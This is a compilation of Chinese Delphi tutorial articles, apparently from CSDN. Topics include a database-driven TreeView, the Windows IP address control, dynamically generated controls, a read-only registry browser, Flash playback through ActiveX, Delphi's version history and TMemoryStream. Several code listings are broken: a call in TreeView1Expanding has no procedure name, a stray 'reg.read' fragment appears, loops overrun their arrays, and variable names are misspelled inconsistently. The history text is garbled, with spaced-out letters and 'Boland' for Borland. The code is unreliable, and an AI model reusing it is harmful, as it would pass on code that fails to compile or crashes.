---- 具体方法是：创建一个数据库，字段根据实际业务而定，其中必然有一个字段的信息将在树型控件的节点上显示，另外还要一个字段来保存节点的惟一标识号，该标识号由长度相等的两部分组成，前段表示当前节点的父节点号，后段表示当前节点的节点号，此标识号相当于一个"链表"，记录了树上节点的结构。该方法的优点：用户操作"大树"时，一般不会展开所有的节点，而只用到有限的一部分，同时只能从树根一层一层地展开，该法只在树上产生"看得见"的节点，所以，存储和加载"大树"的速度快，数据量小，系统开销和数据冗余较小。缺点：编程较复杂，但可以结合该方法编成一个新的树控件，将大大提高编程效率。值得注意的是，ID号必须惟一，所以在编程中如何合理产生ID尤为重要。

---- 2.数据库结构示例

---- 创建一个数据库，为简化程序，我只创建两个数据库字段，定义如下：

字段名 类型 长度
Text C 10
LongID C 6

---- LongID字段实际上由两段组成，每一段3位，LongID只能表示1000条记录。将LongID定义为索引字段，存为c:\testtree\tree.dbf。编辑该DBF文件，新建一条记录，Text字段设为TOP，LongID字段设为"000"(3个"0"前为三个空格)。
---- 3.创建演示程序

---- 在Form1上放置TreeView1、Table1、PopupMenu1、Edit1、Edit2。TreeView1的PopupMenu属性设为PopupMenu1；Table1的DataBaseName属性设为c:\testtree，TableName属性设为tree.dbf，IndexFieldNames属性设为LongID；为PopupMenu1加选单项Add1和Del1，Caption分别为Add和Del；Edit1用来输入新节点的Text属性值，Edit2用来输入新节点的3位ID号。存为c:\testtree\treeunit.pas和c:\testtree\testtree.dpr。在treeunit.pas的Type关键字后加入一行：Pstr:^string;{Pstr为字符串指针} 为Form1的OnCreate事件添加代码：

procedure TForm1.FormCreate(Sender: TObject);
var p:Pstr;Node:TTreeNode;
begin
with Table1,Treeview1 do
begin
open;
first;
new(p);{为指针p分配内存}
p^:=FieldByName(′LongID′).AsString;
Node:=Items.AddChildObject(nil,FieldByName
(′Text′).AsString,p);
if HasSubInDbf(Node) then Items
.AddChildObject(Node,′ ′,nil);{有子节点则加一个空子节点}
end;
end;

---- HasSubInDbf为自定义函数，自变量为Node，检查节点Node有无子节点，有则返回True，反之返回False，并在TForm1的类定义里加入原型声明(其它自定义函数的原型也在TForm1的类定义里声明，不另作解释)，函数代码如下：
function TForm1.HasSubInDbf(Node:TTreeNode):Boolean;
begin
with Table1 do
begin
Table1.FindNearest([copy(Pstr(Node.Data)^,4,3)＋′000′]);
result:=copy(FieldByName(′LongID′).
AsString,1,3)=copy(Pstr(Node.Data)^,4,3);
{如数据库里当前记录的LongID字段内容的前3位和
节点Node的Data的后3位相同，则Node应该有子节点}
end;
end;
为TreeView1控件的OnDeletion事件添加代码，需要指出的是，
不仅调用Delete方法可以触发OnDeletion事件，而且当树控件本身被释放前，
也触发OnDeletion事件，所以，在此处加入dispose(node.data)会很"安全"：
procedure TForm1.TreeView1Deletion
(Sender: TObject; Node: TTreeNode);
begin
Dispose(Node.Data);{释放节点数据内存}
end;
为Add1选单项的OnClick事件添加代码如下：
procedure TForm1.Add1Click(Sender: TObject);
var p:pstr;Tmpstr:string;i:integer;
begin
try
StrToInt(Edit2.Text);
Tmpstr:=Edit2.Text;{注：在实用中，必须用更好的方法来产生ID}
except;
ShowMessage(′重新输入Edit2的内容′);
abort;
end;
with TreeView1 do
begin
new(p);
p^:=copy(Pstr(Selected.Data)^,4,3)＋TmpStr;
Items.AddChildObject(Selected,Edit1.Text,p);
end;
with Table1 do{ 在数据库里添加记录 }
begin
Append;
FieldByName(′Text′).AsString:=Edit1.text;
FieldByName(′LongID′).AsString:=p^;
Post;
end;
TmpStr:=inttostr(strtoint(TmpStr)＋1);
for i:=length(TmpStr) to 2 do TmpStr:=′0′＋TmpStr;
Edit2.Text:=TmpStr;
end;
为Del1菜单项的OnClick事件添加代码如下：
procedure TForm1.Del1Click(Sender: TObject);
var DelList:TStringList;LongID,NSubLongID:string;
begin
DelList:=TStringList.create;
DelList.Sorted:=True;
DelList.Add(Pstr(TreeView1.Selected.Data)^);
while DelList.Count>0 do
begin
LongID:=DelList.Strings[0];
DelList.Delete(0);
Table1.SetKey;
Table1.FieldByName(′LongID′).AsString:=LongID;
if Table1.GotoKey then Table1.Delete;
if HasSubInDbf(TreeView1.Selected) then
begin
NSubLongID:=Table1.FieldByName(′LongID′).AsString;
while (copy(NSubLongID,1,3)=copy
(LongID,4,3))and(not Table1.Eof) do
begin
dellist.Add(NSubLongId);
Table1.Next;
NSubLongId:=Table1.FieldByName(′LongID′).AsString;
end;
end;
end;
DelList.Free;
TreeView1.Items.Delete(TreeView1.Selected);
end;
为TreeView1的OnExpanding事件添加代码：
procedure TForm1.TreeView1Expanding
(Sender: TObject; Node: TTreeNode;
var AllowExpansion: Boolean);
var TmpNode:TTreeNode;NSubLongID:
String;p:Pstr;bm:TBookMark;
begin
with Table1,TreeView1 do
begin
Items.BeginUpdate;
SetKey;
FieldByName(′LongID′).AsString:=Pstr(Node.Data)^;
if not GotoKey then Items.Delete(Node)
else
begin
TmpNode:=Node.GetFirstChild;
if (TmpNode.Text=′ ′)and(TmpNode.Data=nil) then
begin
TmpNode.Delete;
if HasSubInDbf(Node) then
begin
NSubLongID:=FieldByName(′LongID′).AsString;
while (copy(NSubLongID,1,3)=copy(Pstr
(Node.Data)^,4,3))and(not Eof) do
begin
new(p);
p^:=FieldByName(′LongID′).AsString;
bm:=GetBookMark;
TmpNode:=Items.AddChildObject(Node,
FieldByName(′Text′).AsString,p);
if HasSubInDbf(TmpNode) then Items.
AddChildObject(TmpNode,′ ′,nil);
GotoBookMark(bm);
FreeBookMark(bm);
Next;
NSubLongId:=FieldByName(′LongID′).AsString;
end; end; end;
end;
Items.EndUpdate;
end;
end;

---- 以上简要谈了谈数据库的树状显示的基本方法，另外，编辑树上节点的Text属性的同时对数据库进行修改、同一数据库在多用户同时操作时数据库以及树的一致性、树上节点的拷贝与复制等就不再赘述，读者可自行完善。
---- 二.IP控件的使用

---- 在网络程序中，我们常常碰到需要用户输入IP地址的情况。然而Delphi并没有为我们提供可以用于输入IP串的控件，这样我们只好用Tedit控件（单行文本框）来接受用户输入的IP串。但是，使用Tedit来输入IP串并不是一个好主意，因为处理起来非常不便。事实上，在我们的身旁有一个专门用来输入IP串的Windows控件。IP控件会拒绝非法的IP串（在每个部分只能输入0..255之间的数字）；它让你可以轻松地获取控件中的IP串所对应的IP值（32位整数），这省去了IP串和IP值之间相互转换的麻烦；此外，你还能限制IP控件中所能输入的IP的范围。本节向大家介绍如何在我们的Delphi程序中使用Windows的IP控件。

---- Windows中有两个非常重要的动态联结库：commctrl.dll和comctl32.dll，它们是Windows的自定义控制库（Windows Common Controls）。自定义控制库中包含了许多常用的Windows控件，如Statusbar，Coolbar，HotKey等；在Delphi中，这些控件大多数都已被包装成可视化控件了。在Microsoft推出Internet Explorer 3之后，自定义控制库中新增了一些控件，其中就包括Windows的IP控件（IP Address edit control）。

---- 1. 初始化Windows自定义控制库

---- Windows提供了两个API函数，InitCommonControls和InitCommonControlsEx，用来初始化自定义控制库。从名字我们不难看出这两个API函数的关系：后者是前者的增强。如果你希望在程序中使用IP控件，你必须用InitCommonControlsEx来完成对自定义控制库以及类的初始化。函数InitCommonControlsEx的原型如下（Pascal语法）：

... ...
创建IP控件
... ...
使用IP控件。 在程序中，我们通过向IP控件发送消息来与它通讯。
IP控件可以响应的消息有以下6个，这些消息及它们的含义，见下表：
... ...
若想要获取IP控件中IP串所对应的IP值，你应该向IP控件发送
IPM_GETADDRESS消息，并且需要把一个32位整数的地址作为
SendMessage的最后一个参数。
... ...

---- 2. IP控件的通知消息
---- 当IP串被改动后或者输入焦点发生了转移，IP控件就会向它的父窗口发送通知消息IPN_FIELDCHANGED。在大多数情况下，我们都可以忽略此通知消息。以下是处理通知消息IPN_FIELDCHANGED的一个示例：

procedure Tform1.WndProc(var Msg: TMessage);
var p:PNMHDR;
begin
inherited;
if Msg.Msg=WM_NOTIFY
then begin
p:=Pointer(Msg.lParam);
if p^.code=IPN_FIELDCHANGED
then begin
{…
处理IP控件的IPN_FIELDCHANGED通知消息
…}
end;
end;
end;

---- 三.动态生成控件的方法及应用
---- 1.Delphi中生成控件的两种方法

---- (1). Form(表单)设计中生成控件

---- 在进行Form设计时，直接在控件工具箱选择所需控件，再设置其属性与响应事件，这种方法比较常见。

---- (2).程序中动态生成控件

---- 有时候，我们需要在程序运行时动态生成控件，这样做有两大优点：一是可以增加程序的灵活性；二是如果生成控件的多少与程序中间运行结果相关，显然方法一是无法的实现的，必须用程序中动态生成方法。

---- 程序中动态生成控件的方法分为三步，首先，定义生成的控件类型，再用Create函数生成控件，最后对控件的相关属性赋值。以TButton控件为例，步骤如下：

---- a. 定义控件类型

var
Button1:TButton;

---- b.生成控件
Button1:=TButton. Create(self);
Button1.Parent:=Self;
//一般将其父控件设置为Self,如果不设置Parent的值，
则控件不会在屏幕
//显示出来

---- c.设置其它属性及定义相关事件响应函数，如Caption,Left,Top,Height,Width,Visible,Enabled,Hint和onClick事件响应函数等。
---- 2.动态生成控件方法的应用

---- 在开发生产调度与管理系统中，需要动态生成排产计划图，以甘特图表示，应用Shape控件来显示零件的加工状况(每道工序的加工开始时间与结束时间)是非常适合的。应用Chart控件，对加工设备利用率以三维直方图显示，非常直观。现分别将在程序中动态生成Shape控件和Chart控件的过程加以说明。

---- (1).动态生成Shape控件显示排产计划图(甘特图)

procedure TCreateMultiCharts.ProcCreateCharts;
var
i,j,Rows,Columns,RowSpace,ChartsHeight:Integer;
ShapeChart:array of array of TShape;
begin
Rows:=16; //Shape控件数组行数
Columns:=8; // Shape控件数组列数
RowSpace:=20; // Shape控件行间距
ChartsHeight:=20; // Shape控件高度
SetLength(ShapeChart,Rows,Columns);
//设置ShapeChart数组大小
for i:=0 to Rows do
for j:=0 to Columns do
begin
ShapeChart［i］［j］:=TShape.Create(self);
with ShapeChart［i,j］ do
begin
Parent:=Self; //此行必不可少,
否则Shape控件在屏幕显示不出
Shape:=stRectangle; // Shape控件形状为矩形
Top:=45+i*(RowSpace+ChartsHeight);
Left:=Round(180+Q［i,j］.StartTime);
//因Q［i,j］.StartTime为实数,故需进行四舍五入取整
Width:=Round(Q［i,j］.Value)
Height:=ChartsHeight;
Brush.Color:=RandomColor;
//自定义函数，说明附后
Brush.Style:=bsSolid; //设置填充方式
Enabled:=True;
end;
end;
end;

---- 注: a.Q为一记录型二维数组,定义如下:
type
TempData=Record
Value:Real;
StartTime:Real;
end;
Q:array of array of TempData
并且在另一过程已对Q的分量进行赋值。

---- b.为了区分不同的零件，Shape以不同颜色显示，此时，调用了函数RandomColor。该函数为：
function TCreateMultiCharts.RandomColor;
var
red,green,blue:byte;
begin
red:=random(255);
green:=random(255);
blue:=random(255);
result:=red or (green shl 8) or (blue shl 16);
end;
---- (2).动态生成Charts控件的ChartSeries组件，显示设备利用率
procedure TFormMultiMachinesBurthen.
ShowMachineBurthenCharts;
var
i:Integer;
Burthen:Real;
SeriesClass:TChartSeriesClass;
NewSeries:array of TChartSeries;
begin
SetLength(NewSeries,CreateMultiCharts.Rows);
MachinesBurthenCharts.height:=200;
MachinesBurthenCharts.Width:=550;
for i:=0 to CreateMultiCharts.Rows do
begin
SeriesClass:=TBarSeries; //设置形状为三维条形图
NewSeries［i］:=SeriesClass.Create(Self);
NewSeries［i］.ParentChart:=MachinesBurthenCharts;
NewSeries［i］.Clear;
Burthen:=MachineBurthen［i］;
Burthen:=Round(Burthen*100)/100; //只取小数点后两位数字
NewSeries［i］.add(Burthen,'',NewSeries［i］.SeriesColor);
end;
end;

---- 注： (a).MachineBurthen［i］为一实型数组，其值为对应设备的利用率，已在另一函数中计算得到；
---- (b). MachinesBurthenCharts为TChart控件，在type段说明。

---- 3.程序运行结果显示

---- (1).动态生成Shape控件，显示零件排产计划图(略)

---- (2).动态生成Chart控件的ChartSeries组件，显示设备利用率(略)


CSDN_文档中心_Delphi快速读出注册表

file://不用再修改VCL.
file://结构定义的可能不是很好。

/////main.dfm
object Form1: TForm1
Left = 192
Top = 107
Width = 544
Height = 375
Caption = '注册表'
Color = clBtnFace
Font.Charset = GB2312_CHARSET
Font.Color = clWindowText
Font.Height = -12
Font.Name = '宋体'
Font.Style = []
OldCreateOrder = False
OnCreate = FormCreate
PixelsPerInch = 96
TextHeight = 12
object Splitter1: TSplitter
Left = 209
Top = 0
Width = 3
Height = 348
Cursor = crHSplit
end
object TreeView1: TTreeView
Left = 0
Top = 0
Width = 209
Height = 348
Align = alLeft
Indent = 19
TabOrder = 0
OnChange = TreeView1Change
OnExpanding = TreeView1Expanding
end
object ListView1: TListView
Left = 212
Top = 0
Width = 324
Height = 348
Align = alClient
Columns = <
item
AutoSize = True
Caption = '名称'
end
item
AutoSize = True
Caption = '数据'
end>
TabOrder = 1
ViewStyle = vsReport
end
end
////////////////////////////////////////////////////////
file://main.pas

unit main;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Registry, ComCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Splitter1: TSplitter;
TreeView1: TTreeView;
ListView1: TListView;
procedure FormCreate(Sender: TObject);
procedure TreeView1Expanding(Sender: TObject; Node: TTreeNode;
var AllowExpansion: Boolean);
procedure TreeView1Change(Sender: TObject; Node: TTreeNode);
private
procedure ExpandSubNode(Node:TTreeNode;Info:HKEY;Index:Integer;bRoot:Boolean=False);
procedure GetKeyValue(Node: TTreeNode; var SubKey: String);
{ Private declarations }
public
{ Public declarations }
end;

type TNodeMyInfo=record
bRootNode:Boolean;
bVisitored:Boolean;
Info:HKey;
Index:Integer;
end;

type PNodeInfo=^TNodeMyInfo;

var
Form1: TForm1;

implementation

{$R *.DFM}
const
MaxNumber=5;
RootValue:array [0..MaxNumber] of DWord=
(
HKEY_CLASSES_ROOT,
HKEY_CURRENT_USER,
HKEY_LOCAL_MACHINE,
HKEY_USERS,
HKEY_CURRENT_CONFIG,
HKEY_DYN_DATA
);
RootKeyName :array [0..MaxNumber] of String=
(
'HKEY_CLASSES_ROOT',
'HKEY_CURRENT_USER',
'HKEY_LOCAL_MACHINE',
'HKEY_USERS',
'HKEY_CURRENT_CONFIG',
'HKEY_DYN_DATA'
);
procedure TForm1.FormCreate(Sender: TObject);
const MyComputer='我的电脑';
var
i:Integer;
RootNode,SubNode:TTreeNode;
begin
RootNode:=TreeView1.Items.Add(nil,MyComputer);
RootNode.ImageIndex :=1;
for i:=0 to MaxNumber do
begin
SubNode:=TreeView1.Items.AddChild(RootNode,RootKeyName[i]);
SubNode.ImageIndex:=1;
ExpandSubNode(SubNode,RootValue[i],I,True);
end;
end;

procedure TForm1.ExpandSubNode(Node:TTreeNode;Info:HKEY;Index:Integer;bRoot:Boolean=False);
var
List:TStringList;
SubKey:string;
Reg:TRegistry;
i:Integer;
P:PNodeInfo;
tempNode:TTreeNode;
begin
New(P);
P.bRootNode :=bRoot;
P.Info :=Info;
P.Index :=Index;
P.bVisitored :=False;
Node.Data:=P;
Reg:=TRegistry.Create;
file://case
Reg.RootKey :=Info;
List:=TStringList.Create;
GetKeyValue(Node,SubKey);
if Reg.OpenKey(SubKey,False) then
begin
Reg.GetKeyNames(List);
List.Sort;
for i:=0 to List.Count-1 do
begin
tempNode:=TreeView1.Items.AddChild(Node,List.Strings[i]);
tempNode.ImageIndex :=1;
end;
end;
Reg.CloseKey;
Reg.Free;
List.Free;
end;

procedure TForm1.GetKeyValue(Node:TTreeNode;var SubKey:String);
var ParentNode:TTreeNode;
begin
if (Node.Level =0) or (Node.Level=1) then Exit;
SubKey:='\'+Node.Text;
ParentNode:=Node.Parent;
while (ParentNode<>nil) and (ParentNode.Level<>1) do
begin
SubKey:='\'+ParentNode.Text +SubKey;
ParentNode:=ParentNode.Parent;
end;
SubKey:=SubKey+'\';
end;

procedure TForm1.TreeView1Expanding(Sender: TObject; Node: TTreeNode;
var AllowExpansion: Boolean);
var I:integer;
begin
if Node.Level=0 then Exit;
if not TNodeMyInfo(Node.Data^).bVisitored then
begin
Screen.Cursor:=crHourGlass;
for i:=0 to Node.Count-1 do
(Node.Item[i],TNodeMyInfo(Node.Data^).Info,TNodeMyInfo(Node.data^).Index);
PNodeInfo(Node.Data).bVisitored:=True;
Screen.Cursor:=crDefault;
end;
end;

procedure TForm1.TreeView1Change(Sender: TObject; Node: TTreeNode);
var
Reg:TRegistry;
SubString:String;
List:TStringList;
I:integer;
Item:TListItem;
DataInfo:TRegDataInfo;
Value:Variant;
P:String;
begin
if Node.Level=0 then Exit;
ListView1.Items.Clear;
List:=TStringList.Create;
Reg:=TRegistry.Create;
Reg.RootKey:=TNodeMyInfo(Node.Data^).Info;
GetKeyValue(Node,SubString);
if Reg.OpenKey(SubString,False) then
begin
Reg.GetValueNames(List);
List.Sort;
for i:=0 to List.Count-1 do
begin
Value:='未设键值'; reg.read
Reg.GetDataInfo(List.Strings[i],DataInfo);
case DataInfo.RegData of
rdUnknown:
Value:='Unknown';
rdExpandString:
Value:=Reg.ReadString(List.Strings[i]);
rdBinary:
begin
Value:=Reg.ReadBinaryData(List.Strings[i],P,DataInfo.DataSize);
Value:=P;
end;
rdString:
Value:=Reg.ReadString(List.Strings[i]);
rdInteger:
Value:=Reg.ReadInteger(List.Strings[i]);
end;
Value:=varToStr(Value);
Item:=ListView1.Items.Add;
if List.Strings[i]='' then
Item.Caption:='(默认)'
else
Item.Caption :=List.Strings[i];
Item.SubItems.Add(Value);
end;
end;
Reg.CloseKey;
Reg.Free;
List.Free;
end;

end.


CSDN_文档中心_delphi里播放flash

delphi里播放flash
在flash大行其道的今天，是否想过在你的程序里也加入几幅flash炫一炫？我们就来试试，前提是你要装有flash播放软件（你的IE能显示flash），IE之所以能显示flash是安装了一个swflash.ocx控件，由Macromedia, Inc.提供，我们也用它了，win98在$Windows\System\Macromed\Flash，win2k在$Winnt\System32\Macromed\Flash下。ActiveX控件在windows里是通用的，delphi当然也支持，打开你的delphi我们开始了。选择菜单Component --> Import ActiveX Control，选择SWFlash.OCX 文件，安装，完成后在ActiveX面板里出现TShockwaveFlash控件，这是delphi对SWFlash.OCX的封装，现在我们就可以用这个控件来播放flash了。拖一个过来放在form上，指定其Movie属性为d:\test.SWF，按F9，一切OK。delphi编程就是这么轻松、自在。

TShockwaveFlash主要属性、方法、事件
属性：

ReadyState - 读一个flash文件时的状态。0=Loading, 1=Uninitialized, 2=Loaded, 3=Interactive, 4=Complete.

TotalFrames - 总帧数，只有当ReadyState = 4时才能访问。

FrameNum - 当前播放的帧。

Playing - 播放或暂停一个flash.

Quality - 指定当前渲染的质量，0=Low, 1=High, 2=AutoLow, 3=AutoHigh

ScaleMode - 缩放模式，0=ShowAll, 1= NoBorder, 2 = ExactFit。

AlignMode - 对齐模式，Left=+1, Right=+2, Top=+4, Bottom=+8。

BackgroundColor - 背景色，red*65536+green*256+blue，-1为默认颜色。

Loop - 是否循环。

Movie - 指定播放的flash文件路径，可以为一个URL.

方法：
Play() - 开始播放动画。

Stop() - 停止播放动画。

Back() - 播放前一帧动画。

Forward() - 播放后一帧动画。

Rewind() - 播放第一帧动画。

SetZoomRect(int left, int top, int right, int bottom) - 设置缩放的区域

Zoom(int percent) - 按百分比缩放。

Pan(int x, int y, int mode) - 缩放播放面板。模式为：0-按像数，1-按窗口百分比

事件：
OnProgress(int percent) - 读取一个flash时触发。

OnReadyStateChange(int state) - 状态改变时触发。states 可以为 0=Loading, 1=Uninitialized, 2=Loaded, 3=Interactive, 4=Complete。

具体帮助请参见http://www.macromedia.com/support/flash/
此为本人心血来潮之作，不足之处恳请指正,欢迎有兴趣者共同探讨（ypy@yeah.net）。


CSDN_文档中心_Delphi历史回顾

Delphi历史回顾

//本文摘自“Delphi Developers Guide”
从核心上说D e l p h i 其实是一个P a s c a l 编译器。自从1 5 年前Anders Hejlsberg 写下第一个Turbo Pascal编译器以来，B o l a n d 就一直在推动着P a s c a l 编译器向前发展，而Delphi 5 是迈出的又一步。Turbo Pascal具有稳定、优雅以及编译速度快等特点，Delphi 5 也不例外，它综合了数十年来编译器的经验和最新的3 2 位优化编译技术。虽然近年来编译器的功能有了显著增加，它的速度却只减慢了很少。另外，D e l p h i 的性能仍然非常稳定。下面就让我们循着记忆的足迹再回过头去看一看D e l p h i 以前的各个版本以及每一版本发行的背景。

1.3.1 Delphi 1
在D O S 的年代，程序员只有两种选择：要么是易于使用但速度慢的B A S I C 语言，要么是效率高但
却复杂的汇编语言。Turbo Pascal 以其结构化语言的简练和真编译器的性能，综合了两者的优势。而
Windows 3.1 的程序员同样面临两种选择：一种是强大却难以使用的C + +，一种是容易使用但语言有局
限的Visual Basic 。对此，Delphi 1 提供了一种完全不同的开发Wi n d o w s 程序的方法：可视化的开发环境、编译后的可执行软件、D D L 、数据库以及可以毫无限制地给可视环境命名。而Delphi 1 是第一个综合了可视化开发环境、优化的源代码编译器、可扩展的数据库访问引擎的Wi n d o w s 开发工具，它奠定了R A D 的概念。

综合了R A D 工具和快速数据库访问的编译器—D e l p h i 对众多V B 程序员来说极具吸引力，因此它
赢得了许多忠诚的用户。同时，很多的Turbo Pascal 程序员也转向了这一功能强大的新工具。而O b j e c tP a s c a l 由于和我们在大学学过的P a s c a l 语言不同而给人们的编程工作带来了困难，因此更多的程序员开始使用D e l p h i 这种由P a s c a l 支持的稳健的设计模式。M i c r o s o f t 的V B 小组因为在D e l p h i 面前缺少严肃的竞争意识而失败了，迟钝而臃肿的Visual Basic 3 显然不能和Delphi 1 同日而语。这些都发生在1 9 9 5 年。当时B o l a n d 由于一桩侵权案而起诉L o t u s 要求赔偿巨额损失，同时还从M i c r o s o f t 中引进人才以求与M i c r o s o f t 在应用程序领域一比高低。而后B o l a n d 把Q u a t t r o 的业务出售给了N o v e l l ，并用d B A S E 和P a r a d o x 进行数据库开发。当B o l a n d 正忙于开发应用程序市场时，M i c r o s o f t 以其平台业务从B o l a n d 手里悄然夺走了很大一部分Wi n d o w s 开发工具的市场。于是B o l a n d 重新把重点放在了它的核心—开发工具上。

1.3.2 Delphi 2
一年后的Delphi 2 在3 2 位的操作系统Windows 95 和Windows NT 下实现了原有的一切功能。另外，
Delphi 2 还增加了许多Delphi 1 没有的功能，例如3 2 位的编译器能生成速度更快的应用程序，对象库得到进一步丰富和扩展，完善了数据库支持，改进了字符串处理，支持O L E 和可视化窗体继承以及与1 6
位的D e l p h i 兼容等。Delphi 2 成为衡量其他R A D 工具的标准。

这是1 9 9 6 年的事。在此前一年(即1 9 9 5 年)的下半年，3 2 位的Windows 95 出台了。这是自Wi n d o w s3 . 0 以来最重要的Wi n d o w s 平台。B o l a n d 迫切希望D e l p h i 成为这一平台的最佳开发工具。曾经有一件有趣的事，Delphi 2 最初被命名为Delphi 32 ，以强调它是为3 2 位Wi n d o w s 设计的。但在出版前改成了Delphi 2 是为了表明Delphi 2 是一种成熟的产品。

M i c r o s o f t 试图用Visual Basic 4 予以反击，但却由于其性能不完善、缺少1 6 位到3 2 位的兼容、存在致命的设计缺陷而倍受困扰。不过不管怎样，仍然有相当数量的人在继续使用Visual Basic 。B o l a n d 希望D e l p h i 能进入被P o w e r B u i l d e r 等工具垄断的高端客户/服务器市场，但这一版本还不具有这种实力。

在这段时期公司的战略重点不可否认地集中在顾客身上。作出这样一个方向性调整，毫无疑问是由于d B A S E 和P a r a d o x 所占市场份额的缩小和在C + +市场所得收入的减少。为了使这一努力尽快见效，
B o l a n d 公司做出了一项错误的决定，即兼并了Open Environment 公司。这家公司主要生产两种中间产品：一种过了时的基于D C E 的中间产品(可被称为C O R B A 前身)和一种即将被D C O M 取代的分布式O L E专利技术。

1.3.3 Delphi 3
在研制Delphi 1 的时候，D e l p h i 开发小组集中精力想推出一个震撼性的产品。在研制Delphi 2 的时候，开发组主要考虑把D e l p h i 升级为3 2 位代码，同时又保持对1 6 位版本的兼容。为了满足I T 产业的需要，Delphi 2 增强了数据库和客户/服务器的功能。到了研制Delphi 3 的时候，开发组开始考虑要为Wi n d o w s开发者所遇到的棘手问题提供一套完整的解决方案。Delphi 3 使本来极其复杂的C O M 、A c t i v e X 、W W W 应用程序开发、“瘦”客户应用程序、多层数据库系统体系结构等技术变得非常容易使用。虽然Delphi 3 和Delphi 1 编写应用程序的基本方法大都相同，但Delphi 3 的代码内视(Code Insight)技术却简化了代码编写过程。

这是在1 9 9 7 年。市场竞争也出现了一些有趣的现象。在低端，M i c r o s o f t 的Visual Basic 5 终于开始有所改观，它采用了一个新的编译器以解决长期存在的性能问题，同时还具有对C O M / A c t i v e X 的良好支持和一些新的平台功能。而在高端，D e l p h i 已成功地战胜了P o w e r B u i l d e r 和F o r t e 等产品。

在Delphi 3 的开发过程中，D e l p h i 的首席设计师Anders Hejlsberg 决定转到M i c r o s o f t 公司工作，因此D e l p h i 小组失去了一个重要成员。不过该小组并没有失去任何优势，因为资深设计师C h u c kJ a z d z e w s k i 有能力承担起领导角色。在此前后，公司还失去了首席技术总裁Paul Gross ，他也是去了M i c r o s o f t 。有人认为，这一损失与其说是对日复一日的软件开发事务的一个冲击，不如说是影响了公共关系。

1.3.4 Delphi 4
Delphi 4 致力于使D e l p h i 更易于使用。Module Explore 技术的引入使程序员能够以一致的图形界面浏览和编辑代码。代码导航和类自动生成的功能使程序员只需关注应用程序本身，而不必在输入代码
上花费太多精力。I D E 经过重新设计可支持浮动和可停靠的工具栏和窗口，调试器也做了改进。D e l p h i4 不愧为一个领先的开发工具，它的M I D A S 、D C O M 和C O R B A 等技术使Delphi 4 的应用范围扩展到企业级。

这些都发生在1 9 9 8 年。这一年D e l p h i 有效地巩固了它在竞争中的地位。虽然D e l p h i 仍在持续而缓慢地占领市场，其前沿却在某种程度上得到了加固。几年来D e l p h i 一直是市场上最稳定的开发工具，Delphi 4 在长期的D e l p h i 用户中赢得了信誉，因为它使用简单、稳定性好。

1.3.5 Delphi 5
Delphi 5 在几个方面取得了进步：首先，Delphi 5 和Delphi 4 一样，通过增加更多的功能使程序的
编写更简单，程序员可以把精力都集中在想写什么而不是怎样写上。这些新功能包括：进一步增强了
I D E 和调试器的功能、提供了Te a m S o u r c e 小组开发软件和转换工具等。第二，Delphi 5 也为简化I n t e r n e t的开发增加了许多新功能，包括：Active Server Object Wi z a r d 用于创建A S P 、I n t e r n e t E x p r e s s 组件用于支持X M L 和新的M I D A S 功能，使D e l p h i 成为I n t e r n e t 的一个通用数据平台。第三，Delphi 5 最重要的特征—稳定性。就像好酒一样，伟大的软件不可能产生在匆匆忙忙之中，B o l a n d 直到Delphi 5 完全令人满意才将它推出。

Delphi 5 是在1 9 9 9 年下半年出版的。这一年里D e l p h i 继续向企业渗透，而Visual Basic 也继续在低端和它竞争。不过战线看起来还很坚固。I n p r i s e ( B o l a n d 于1 9 9 8 年改名为I n p r i s e )除了继续赢得长期客户的信赖外，还有信心在整个市场上重新恢复B o l a n d 的声誉。由于CEO (首席执行总裁)Del Yo c a m 的突然离去和Internet-savvy CEO Dale Fuller 的加盟，公司的执行部门经历了一段纷乱时期。而F u l l e r 将公司的重点重新放在了软件开发上。希望I n p r i s e 能最终回到正确的轨道上。

1.3.6 未来
尽管历史很重要，但更重要的是D e l p h i 的未来。以历史为导引，我们可以肯定在未来的很长一段
时间内，D e l p h i 都将继续是一种优秀的Wi n d o w s 开发工具。我想，真正的问题是我们能否不断地见到针对Wi n 3 2 以外的平台的D e l p h i 版本。根据B o l a n d 公司传出的信息，似乎这也正是他们所关心的问题。在1 9 9 8 年的B o l a n d 董事会上，D e l p h i 的首席设计师Chuck Jazdzewski 演示了一种能生成J a v a 代码的D e l p h i 编译器，这种编译器从理论上来说能用于任何一种带有Java Virtual Machine 的计算机。虽然这一技术还存在一些明显的障碍，但它肯定了这样一种观点，即将D e l p h i 移植到其他的平台是未来计划的一部分。在最近召开的1 9 9 9 年度B o l a n d 董事会上，CEO Dale Fuller 在致开幕辞时无意中透露了将开发一个用于L i n u x 平台的D e l p h i 版本的计划。


CSDN_文档中心_Delphi流操作技巧总结

Delphi流操作技巧总结

TMemoryStream的继承关系如下
TObject
|
TStream
|
TCustomMemoryStream
|
TMemoryStream

如何使用TMemoryStream?
其实TmemoryStream使用就跟TStream 一样
具体的属性，方法可看帮助。
下举一例：
如我想在内存中直接读写一个Bitmap,怎么办？
TmemoryStream帮了你大忙

var
BitmapMemoryStream:TMemoryStream;
Bitmap1:TBitmap;

procedure TForm.Button1Click(Sender:TObject);
begin
BitmapmemroyStream:=TmemoryStream.Create; file://建立MemoryStream
Bitmap1:=TBitmap.Create;
try
Bitmap1.LoadFromFile('d:\Bitmap1.bmp');
except
ShowMessage('Error On LoadFile bitmap1.bmp');
end;
end;

procedure TForm.Button2Click(Sneder:Tobject);
begin
if Assigned(Bitmap1) then
Bitmap1.SaveToStream(BitmapmemoryStream);
end;

procedure TForm.Button3Click(Sender:TObject);
begin
if BitmapMemoryStream<>nil then
begin
try
BitmapMemroyStream.SaveToFile('Bitmap1.str'); file://内存流保存，大小与
file://Bitmap1.bmp一样
except
showmessage('error on access memory!');
end;
end;
end;

procedure TForm.Button4Click(Sender:TObject);
var
Buffer:Array[0..53] of char;
begin
if Assigned( BitmapMemroyStream) then
try
BitmapMemroyStream.Seek(0,soFromBeginning);
BitmapMemoryStream.Read(Buffer,54);
if Buffer[0]='B' and Buffer[1]='M' then file://改写内存内容
begin
BitmapMemoryStream.Seek(0,soFromBeginning);
BitmapmemoryStream.Write('ICE',3);
Button3Click(Sender);//将改写的内容写入文件
end;
except
ShowMessage('error On Access memroyStream');
end;
end;

大家可看到用TMemoryStream对与内存读写多么方便，当然其实用不着先建一Bitmap
可以用LoadFromFile直接引导文件，但是如果对于其它的内存流却是可以用上述方法
上文只是抛转引玉，其它的一些功能大家可以看帮助，自己琢磨！
还有很多其它的流式对象，大致都差不多，一通百通！

